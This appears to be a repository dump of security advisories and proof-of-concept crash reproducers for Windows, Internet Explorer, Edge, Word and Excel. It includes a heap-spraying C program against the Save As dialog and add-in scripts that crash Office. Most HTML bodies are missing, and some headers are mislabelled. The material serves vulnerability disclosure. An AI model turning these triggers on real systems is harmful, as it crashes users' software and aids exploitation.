├── LICENSE ├── Microsoft ├── CY-2017-012 │ ├── CY-2017-012.txt │ └── main.c ├── CY-2017-013 │ └── CY-2017-013.txt ├── CY-2017-018 │ ├── CY-2017-018.txt │ └── crash.html ├── CY-2017-019 │ ├── CY-2017-019.txt │ └── crash.html ├── CY-2017-020 │ ├── CY-2017-020.txt │ └── crash.html ├── CY-2017-024 │ ├── CY-2017-024.txt │ └── crash.html ├── CY-2017-025 │ ├── CY-2017-025.txt │ └── crash.html ├── CY-2017-026 │ ├── CY-2017-026.txt │ └── crash.html ├── CY-2017-027 │ ├── CY-2017-027.txt │ └── crash.html ├── CY-2017-028 │ ├── CY-2017-028.txt │ └── crash.html ├── CY-2017-029 │ ├── CY-2017-029.txt │ ├── CrashManifest.xml │ ├── crash.html │ └── crash.js ├── CY-2017-030 │ ├── CY-2017-030.txt │ ├── CrashManifest.xml │ ├── crash.html │ └── crash.js ├── CY-2017-031 │ ├── CY-2017-031.txt │ └── crash.html ├── CY-2017-032 │ ├── CY-2017-032.txt │ └── crash.html ├── CY-2017-033 │ ├── CY-2017-033.txt │ └── crash.html ├── CY-2017-034 │ ├── CY-2017-034.txt │ └── crash.html ├── CY-2017-038 │ ├── CY-2017-038.txt │ └── crash.html ├── CY-2017-039 │ ├── CY-2017-039.txt │ └── crash.html ├── CY-2017-045 │ ├── CY-2017-045.txt │ └── crash.html ├── CY-2017-046 │ ├── CY-2017-046.txt │ └── crash.html ├── CY-2017-047 │ ├── CY-2017-047.txt │ └── crash.html ├── CY-2017-052 │ ├── CY-2017-052.txt │ └── crash.html ├── CY-2017-053 │ ├── CY-2017-053.txt │ └── crash.html ├── CY-2017-056 │ ├── CY-2017-056.txt │ └── crash.html ├── CY-2017-057 │ ├── CY-2017-057.txt │ └── crash.html ├── CY-2017-058 │ ├── CY-2017-058.txt │ └── crash.html ├── CY-2017-060 │ ├── CY-2017-060.txt │ └── crash.html ├── CY-2017-061 │ ├── CY-2017-061.txt │ └── crash.html ├── CY-2017-062 │ ├── CY-2017-062.txt │ └── crash.html ├── CY-2017-063 │ ├── CY-2017-063.txt │ ├── crash.html │ ├── crash.js │ └── crash_manifest.xml ├── CY-2018-001 │ └── CY-2018-001.txt ├── CY-2018-002 │ ├── CY-2018-002.txt │ └── Crash.xls ├── CY-2018-016 │ └── CY-2018-016.txt ├── CY-2018-018 │ └── CY-2018-018.txt └── CY-2018-020 │ └── CY-2018-020.txt └── README.md /LICENSE: -------------------------------------------------------------------------------- 1 | Apache License 2 | Version 2.0, January 2004 3 | http://www.apache.org/licenses/ 4 | 5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 6 | 7 | 1. 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-------------------------------------------------------------------------------- 1 | CY-2017-012 2 | Vulnerability Type: Out-Of-Bounds Memory Access 3 | Product & Version: comdlg32.dll 10.0.14393.479 4 | Tested OS: Windows 10 5 | Reproduction: 6 | • Compile and run main.c 7 | • "Save as" window will pop up 8 | • Inside the window, Create in the current directory a file named "z" 9 | • In the "Save as" line insert "z" and press the "Save" button 10 | • This will show you the "Confirmation" window, which will show the actual overflowed heap in the window 11 | -------------------------------------------------------------------------------- /Microsoft/CY-2017-012/main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | INT RangedRand(INT range_min, INT range_max) 6 | { 7 | return range_min + rand() % (range_max - range_min); 8 | } 9 | 10 | DWORD WINAPI MyThreadFunction(LPVOID lpParam) 11 | { 12 | PVOID apvAddresses[0x20000] = { 0 }; 13 | 14 | for (;;) 15 | { 16 | for (SIZE_T nIndex = 0; nIndex < 0x20000; ++nIndex) 17 | { 18 | /* Heap spraying */ 19 | apvAddresses[nIndex] = CoTaskMemAlloc(4); 20 | *(PDWORD)apvAddresses[nIndex] = 0x11111111; 21 | *(((PDWORD)apvAddresses[nIndex]) + 1) = 0x005c005c; 22 | } 23 | Sleep(100); 24 | for (SIZE_T nIndex = 0x20000; nIndex > 0; --nIndex) 25 | { 26 | if (NULL != apvAddresses[nIndex - 1]) 27 | { 28 | CoTaskMemFree(apvAddresses[nIndex - 1]); 29 | } 30 | apvAddresses[nIndex - 1] = 0; 31 | } 32 | } 33 | return 0; 34 | } 35 | 36 | int PASCAL WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) 37 | { 38 | OPENFILENAME ofn = { 0 }; 39 | WCHAR path[MAX_PATH + 1] = { 0 }; 40 | srand(time(NULL)); 41 | int dwSleep = 0; 42 | HANDLE hThreadArray[20]; 43 | 44 | for (int i = 0; i < 20; i++) 45 | { 46 | Sleep(RangedRand(1, 300)); 47 | 48 | /* Creates the heap spraying threads */ 49 | hThreadArray[i] = CreateThread(NULL, 0, MyThreadFunction, NULL, 0, NULL); 50 | } 51 | 52 | ofn.lStructSize = sizeof(ofn); 53 | ofn.hwndOwner = NULL; 54 | ofn.hInstance = NULL; 55 | ofn.lpstrFilter = L""; 56 | ofn.nFilterIndex = 1; 57 | ofn.lpstrFile = path; 58 | ofn.nMaxFile = sizeof(path) / sizeof(WCHAR); 59 | ofn.Flags = OFN_OVERWRITEPROMPT | OFN_HIDEREADONLY; 60 | ofn.lpstrDefExt = L"txt"; 61 | 62 | while (TRUE) 63 | { 64 | Sleep(5000); 65 | GetSaveFileName(&ofn); 66 | } 67 | 68 | return 0; 69 | } 70 | -------------------------------------------------------------------------------- /Microsoft/CY-2017-013/CY-2017-013.txt: -------------------------------------------------------------------------------- 1 | CY-2017-012 2 | Vulnerability Type: Out-Of-Bounds Memory Access 3 | Product & Version: Microsoft XML Core Services 8.110.14393.953 4 | Module & Version: msxml3.dll 8.110.14393.953 5 | Tested OS: Windows 10 6 | Reproduction: 7 | Note: The vulnerability occures in msxml3.dll, but in order to reproduce and see it, we use Foxit Reader v8.3.2.25013 8 | • Open FoxitReader.exe with windbg.exe 9 | • Put a breakpoint on msxml3+5F3DF 10 | • Run until the breakpoint hit, and see the out of the bound read when the current block belongs to the native WinAPI heap 11 | 12 | -------------------------------------------------------------------------------- /Microsoft/CY-2017-018/CY-2017-018.txt: -------------------------------------------------------------------------------- 1 | CY-2017-018 2 | Vulnerability Type: Null Dereference 3 | Product & Version: Internet Explorer 11.540.15063.0 4 | Module & Version: mshtml.dll 11.00.15063.540, jscript9.dll 11.00.15063.540 5 | Tested OS: Windows 10 6 | Reproduction: 7 | • Open crash.html 8 | -------------------------------------------------------------------------------- /Microsoft/CY-2017-018/crash.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 14 | 15 | -------------------------------------------------------------------------------- /Microsoft/CY-2017-019/CY-2017-019.txt: -------------------------------------------------------------------------------- 1 | CY-2017-019 2 | Vulnerability Type: Null Dereference 3 | Product & Version: Internet Explorer 11.540.15063.0 4 | Module & Version: mshtml.dll 11.00.15063.540, jscript9.dll 11.00.15063.540 5 | Tested OS: Windows 10 6 | Reproduction: 7 | • Open crash.html 8 | -------------------------------------------------------------------------------- /Microsoft/CY-2017-019/crash.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 5 | 12 | 13 | -------------------------------------------------------------------------------- /Microsoft/CY-2017-020/CY-2017-020.txt: -------------------------------------------------------------------------------- 1 | CY-2017-020 2 | Vulnerability Type: Null Dereference 3 | Product & Version: Internet Explorer 11.540.15063.0 4 | Module & Version: mshtml.dll 11.00.15063.540, jscript9.dll 11.00.15063.540 5 | Tested OS: Windows 10 6 | Reproduction: 7 | • Open crash.html 8 | -------------------------------------------------------------------------------- /Microsoft/CY-2017-020/crash.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 5 | 12 | 13 | -------------------------------------------------------------------------------- /Microsoft/CY-2017-024/CY-2017-024.txt: -------------------------------------------------------------------------------- 1 | CY-2017-024 2 | Vulnerability Type: Null Dereference 3 | Product & Version: Microsoft Edge 40.15063.674.0 x64 4 | Module & Version: EdgeHTML.dll version 11.00.15063.674 5 | Tested OS: Windows 10 6 | Reproduction: 7 | • Open crash.html 8 | -------------------------------------------------------------------------------- /Microsoft/CY-2017-024/crash.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 12 | 13 | -------------------------------------------------------------------------------- /Microsoft/CY-2017-025/CY-2017-025.txt: -------------------------------------------------------------------------------- 1 | CY-2017-025 2 | Vulnerability Type: Null Dereference 3 | Product & Version: Microsoft Edge 40.15063.674.0 x64 4 | Module & Version: EdgeHTML.dll version 11.00.15063.674 5 | Tested OS: Windows 10 6 | Reproduction: 7 | • Open crash.html 8 | -------------------------------------------------------------------------------- /Microsoft/CY-2017-025/crash.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 9 | 10 | -------------------------------------------------------------------------------- /Microsoft/CY-2017-026/CY-2017-026.txt: -------------------------------------------------------------------------------- 1 | CY-2017-026 2 | Vulnerability Type: Null Dereference 3 | Product & Version: Microsoft Edge 40.15063.674.0 x64 4 | Module & Version: EdgeHTML.dll version 11.00.15063.674 5 | Tested OS: Windows 10 6 | Reproduction: 7 | • Open crash.html 8 | -------------------------------------------------------------------------------- /Microsoft/CY-2017-026/crash.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 7 | 8 | -------------------------------------------------------------------------------- /Microsoft/CY-2017-027/CY-2017-027.txt: -------------------------------------------------------------------------------- 1 | CY-2017-027 2 | Vulnerability Type: Null Dereference 3 | Product & Version: Microsoft Edge 40.15063.674.0 x64 4 | Module & Version: EdgeHTML.dll version 11.00.15063.674 5 | Tested OS: Windows 10 6 | Reproduction: 7 | • Open crash.html 8 | • Open the list view 9 | • Click on the page 10 | -------------------------------------------------------------------------------- /Microsoft/CY-2017-027/crash.html: -------------------------------------------------------------------------------- 1 | 2 | 8 | 9 | 12 | 13 | -------------------------------------------------------------------------------- /Microsoft/CY-2017-028/CY-2017-028.txt: -------------------------------------------------------------------------------- 1 | CY-2017-028 2 | Vulnerability Type: Null Dereference 3 | Product & Version: Internet Explorer 11.540.15063.0 (x86, x64), Microsoft Edge 40.15063.674.0 x86 4 | Module & Version: mshtml.dll 11.00.15063.540, jscript9.dll 11.00.15063.540 5 | Tested OS: Windows 10 6 | Reproduction: 7 | • Open crash.html 8 | -------------------------------------------------------------------------------- /Microsoft/CY-2017-028/crash.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | -------------------------------------------------------------------------------- /Microsoft/CY-2017-029/CY-2017-029.txt: -------------------------------------------------------------------------------- 1 | CY-2017-029 2 | Vulnerability Type: Null Dereference 3 | Product & Version: Word 2016 MSO (16.0.8528.2126) 32-bit, Version 1709 (Build 8528.2139 Click-to-Run) 4 | Module & Version: wwlib.dll 16.0.8528.2139 (32-bit) 5 | Tested OS: Windows 10 6 | Reproduction: 7 | • Deploy word add-In using these steps: 8 | • Deploy the crash.html and the crash.js on a local web-sever in the root folder and run the server 9 | • The http://localhost/crash.html should be loaded correctly 10 | • Put the CrashManifest.xml file inside a shared folder 11 | • Add the shared folder in the Trusted Add-in catalogue by executing these steps: 12 | • Open word 13 | • Go to File->Options->Trust Center->Trusted Add-in Catalogues 14 | • Add the shared folder in the Catalog Url and tick the "Show In Menu" option 15 | • Restart Word 16 | • Launch the add – in by going to Home->My Add-ins->Shared Folder->Crash application 17 | • Word should crash 18 | -------------------------------------------------------------------------------- /Microsoft/CY-2017-029/CrashManifest.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 21a5444a-11e3-4244-9869-49a2473cc134 6 | 1.0.0.0 7 | Cybellum 8 | en-US 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | ReadWriteDocument 18 | -------------------------------------------------------------------------------- /Microsoft/CY-2017-029/crash.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Crash App 6 | 7 | 8 | 9 | 10 | 11 |

Word will crash running this add-in

12 |

13 |
14 | 15 | -------------------------------------------------------------------------------- /Microsoft/CY-2017-029/crash.js: -------------------------------------------------------------------------------- 1 | (function () { 2 | "use strict"; 3 | // The initialize function is run each time the page is loaded. 4 | Office.initialize = function (reason) { 5 | $(document).ready(function () { 6 | // Use this to check whether the API is supported in the Word client. 7 | if (Office.context.requirements.isSetSupported('WordApi', 1.3)) { 8 | Word.run(function (context) 9 | { 10 | var body = context.document.body; 11 | var myRange = body.getRange(); 12 | return context.sync().then(function() 13 | { 14 | myRange.insertFileFromBase64('aaa'); 15 | return context.sync(); 16 | }) 17 | .catch(function (error) 18 | { 19 | }); 20 | }) 21 | .catch(function (error) { 22 | }); 23 | } 24 | }); 25 | }; 26 | })(); -------------------------------------------------------------------------------- /Microsoft/CY-2017-030/CY-2017-030.txt: -------------------------------------------------------------------------------- 1 | CY-2017-030 2 | Vulnerability Type: Null Dereference 3 | Product & Version: Excel 2016 MSO (16.0.8528.2126) 32-bit, Version 1709 (Build 8528.2139 Click-to-Run) 4 | Module & Version: Excel.exe 16.0.8528.2139 (32-bit) 5 | Tested OS: Windows 10 6 | Reproduction: 7 | • Deploy word add-In using these steps: 8 | • Deploy the crash.html and the crash.js on a local web-sever in the root folder and run the server 9 | • The http://localhost/crash.html should be loaded correctly 10 | • Put the CrashManifest.xml file inside a shared folder 11 | • Add the shared folder in the Trusted Add-in catalogue by executing these steps: 12 | • Open word 13 | • Go to File->Options->Trust Center->Trusted Add-in Catalogues 14 | • Add the shared folder in the Catalog Url and tick the "Show In Menu" option 15 | • Restart Word 16 | • Launch the add – in by going to Home->My Add-ins->Shared Folder->Crash application 17 | • Word should crash 18 | -------------------------------------------------------------------------------- /Microsoft/CY-2017-030/CrashManifest.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 21a5444a-11e3-4244-9869-49a2473cc134 6 | 1.0.0.0 7 | Cybellum 8 | en-US 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | ReadWriteDocument 18 | -------------------------------------------------------------------------------- /Microsoft/CY-2017-030/crash.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Crash App 6 | 7 | 8 | 9 | 10 | 11 |

Excel will crash running this add-in

12 |

13 |
14 | 15 | -------------------------------------------------------------------------------- /Microsoft/CY-2017-030/crash.js: -------------------------------------------------------------------------------- 1 | (function () { 2 | "use strict"; 3 | // The initialize function is run each time the page is loaded. 4 | Office.initialize = function (reason) { 5 | $(document).ready(function () { 6 | // Use this to check whether the API is supported in the Excel client. 7 | if (Office.context.requirements.isSetSupported('ExcelApi', 1.6)) { 8 | Excel.run(function (context) 9 | { 10 | var range = context.workbook.worksheets.getActiveWorksheet().getRange('A1'); 11 | return context.sync() 12 | .then (function(){ 13 | range.delete('Up'); 14 | return context.sync(); 15 | }) 16 | .catch(function(error){}) 17 | .then (function(){ 18 | range.getIntersectionOrNullObject(); 19 | return context.sync();}) 20 | .catch(function(error){}) 21 | }) 22 | .catch(function (error) { 23 | }); 24 | } 25 | }); 26 | }; 27 | })(); -------------------------------------------------------------------------------- /Microsoft/CY-2017-031/CY-2017-031.txt: -------------------------------------------------------------------------------- 1 | CY-2017-031 2 | Vulnerability Type: Type Conversion (Signed Conversion) 3 | Product & Version: Microsoft Edge 41.16299.15.0 4 | Module & Version: EdgeHTML.dll version 11.00.16299.64 5 | Tested OS: Windows 10 6 | Reproduction: 7 | • Open crash.html 8 | -------------------------------------------------------------------------------- /Microsoft/CY-2017-031/crash.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 9 | 10 | 11 | 12 | -------------------------------------------------------------------------------- /Microsoft/CY-2017-032/CY-2017-032.txt: -------------------------------------------------------------------------------- 1 | CY-2017-032 2 | Vulnerability Type: Null Dereference 3 | Product & Version: Microsoft Edge 41.16299.15.0, Internet Explorer 11.64.16299.0 4 | Module & Version: mshtml.dll 11.00.16299.64, edgehtml.dll 11.00.16299.64 5 | Tested OS: Windows 10 6 | Reproduction: 7 | • Open crash.html 8 | -------------------------------------------------------------------------------- /Microsoft/CY-2017-032/crash.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | -------------------------------------------------------------------------------- /Microsoft/CY-2017-033/CY-2017-033.txt: -------------------------------------------------------------------------------- 1 | CY-2017-033 2 | Vulnerability Type: Null Dereference 3 | Product & Version: Microsoft Edge 41.16299.15.0 4 | Module & Version: EdgeHTML.dll version 11.00.16299.64 5 | Tested OS: Windows 10 6 | Reproduction: 7 | • Open crash.html 8 | -------------------------------------------------------------------------------- /Microsoft/CY-2017-033/crash.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 9 | 14 | 15 | 16 | 1 17 | 18 | 19 | 20 | 21 | 22 | 23 | -------------------------------------------------------------------------------- /Microsoft/CY-2017-034/CY-2017-034.txt: -------------------------------------------------------------------------------- 1 | CY-2017-034 2 | Vulnerability Type: Null Dereference 3 | Product & Version: Microsoft Edge 41.16299.15.0 4 | Module & Version: EdgeHTML.dll version 11.00.16299.64 5 | Tested OS: Windows 10 6 | Reproduction: 7 | • Open crash.html 8 | -------------------------------------------------------------------------------- /Microsoft/CY-2017-034/crash.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 9 | 10 | 11 | 12 | 13 | 14 |